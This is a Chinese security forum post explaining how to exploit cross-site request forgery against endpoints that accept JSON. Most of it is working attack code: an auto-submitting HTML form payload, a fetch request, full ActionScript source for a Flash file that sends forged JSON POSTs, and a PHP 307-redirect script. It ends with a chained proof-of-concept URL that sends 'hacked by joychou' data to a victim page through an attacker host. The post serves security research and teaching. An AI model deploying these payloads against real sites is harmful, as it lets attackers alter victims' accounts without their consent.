用户
搜索

[思路/技术] Exploiting JSON CSRF

  • TA的每日心情
    开心
    2018-6-5 10:38
  • 签到天数: 2 天

    连续签到: 2 天

    [LV.1]初来乍到

    SRC部落

    Rank: 7Rank: 7Rank: 7

    13

    主题

    18

    帖子

    132

    魔法币
    收听
    1
    粉丝
    0
    注册时间
    2018-6-4

    SRC部落

    发表于 2018-6-20 15:59:23 03750

    Author: JoyChou
    Date: 20180620

    0x00 前言

    前段时间,看到一个POST为JSON格式的CSRF,并且验证了Content-Type是否是application/json。构造后发现:

    • 使用form能构造出JSON的跨域请求,但是无法设置Content-Type。
    • 使用XMLHttpRequest或fetch能构造出JSON请求并能设置Content-Type,但是无法跨域。

    0x01 POC

    存在两种场景:

    • JSON CSRF(未验证Content-Type)
    • JSON CSRF(验证Content-Type)

    JSON CSRF(未验证Content-Type)

    可以使用form进行跨域,并构造出JSON格式数据。

    使用form的POC

    <html>
    <title>JSON CSRF POC</title>
    
    <form action="http://test.joychou.org" method="POST" enctype="text/plain" >
        <input name='{"name":"attacker","email":"attacker@gmail.com","ignore_me":"' value='test"}' type='hidden'>
    </form>
    
    <script>
          document.forms[0].submit();
    </script>
    
    </html>

    构造出的POST数据为

    {name: "attacker", email: "attacker@gmail.com", ignore_me: "=test"}

    注意,form的enctype参数不能设置位Content-Type。

    该POC利用多一个key value的形式,去闭合多余的符号。如果存在CSRF的漏洞页面能识别多余的key value,那么这种方式是可行的。

    JSON CSRF(验证Content-Type)

    当然了,使用XMLHttpRequest、fetch能构造出JSON请求,并且能设置Content-Type,但是无法跨域。

    fetch发起的请求代码:

    <html>
    <title>JSON CSRF POC</title>
    <script>
        fetch('http://victim.com/vul.page', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});
    </script>
    
    </form>
    </html>

    不过,我们可以利用flash的跨域 + 307跳转来构造POC。需要环境如下:

    1. 能发起HTTP请求的swf文件(csrf_json.swf)
    2. 307跳转(307.php)
    3. 上面两个文件同域

    swf的ActionScript代码如下:

    package
    {
       import flash.display.Sprite;
       import flash.net.URLLoader;
       import flash.net.URLRequest;
       import flash.net.URLRequestHeader;
       import flash.net.URLRequestMethod;
    
       public class csrf extends Sprite
       {
    
          public function csrf()
          {
             super();
             var myJson:String = this.root.loaderInfo.parameters.jsonData;
             var url:String = this.root.loaderInfo.parameters.php_url;
             var endpoint:String = this.root.loaderInfo.parameters.endpoint;
             var ct:String = !!this.root.loaderInfo.parameters.ct?this.root.loaderInfo.parameters.ct:"application/json";
             var request:URLRequest = new URLRequest(url + "?endpoint=" + endpoint);
             request.requestHeaders.push(new URLRequestHeader("Content-Type",ct));
             request.data = myJson;
             request.method = URLRequestMethod.POST;
             var urlLoader:URLLoader = new URLLoader();
             try
             {
                urlLoader.load(request);
                return;
             }
             catch(e:Error)
             {
                trace(e);
                return;
             }
          }
       }
    }

    代码很简单,发起一个POST方式的HTTP请求,并且设置Content-Type以及postdata。

    Flash的编译和反编译可以使用FFdec,Win和Mac都可使用。csrf_json.swf下载地址:点我下载

    307.php

    <?php
    $victim_url = $_GET['endpoint'];
    header("Location: $victim_url", true, 307)
    ?>

    最后的POC http://attacter.com/csrf_json.swf?jsonData={"weChat":"hacked by joychou","qq":"hacked by joychou","workLocation":"hacked by joychou"}&php_url=http://attacter/307.php&endpoint=http://victim.com/csrfvulpage

    下面说明下该方法能够跨域的原理。

    当访问最后的POC,过程如下:

    1. 受害者访问POC,向attacter.com发起一条swf请求,swf向307.php发送HTTP POST请求。
    2. attacter.com的307.php发起307跳转,跳转到victim.com,注意307跳转会带着http请求方式,header和postdata进行跳转。
    3. victim.com收到一条POST请求,并且Content-Type为application/json。
    4. victim.com收到一条/crossdomain.xml请求。由于第三步优先第四步执行,导致跨域。并且victim.com能收到crossdomain.xml请求,也证明了第三步的POST请求是Flash发出,而不是307.php发出。因为307.php单独发出的post请求不会主动请求crossdomain.xml。

    我们知道,服务器A的Flash如果要向B发起一条HTTP请求,会先请求服务器B的crossdomain.xml文件,判断是否能跨域,如果文件没有,或者xml文件设置不能跨域,则不能跨域。

    0x02 Flash设置其他Header

    既然可以设置Content-Type,那么能设置Referer吗。如果能,那验证Referer的CSRF岂不都能绕过?

    其实Flash的Header存在一个黑名单,黑名单列表的头不允许设置,其中就有Referer。详情可查看Flash Header黑名单

    0x03 Reference

    美丽联合安全应急响应中心(MLSRC),主要负责处理美丽联合集团旗下产品和业务的安全问题,欢迎广大安全专家、安全爱好者沟通交流(https://security.mogujie.com)~
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册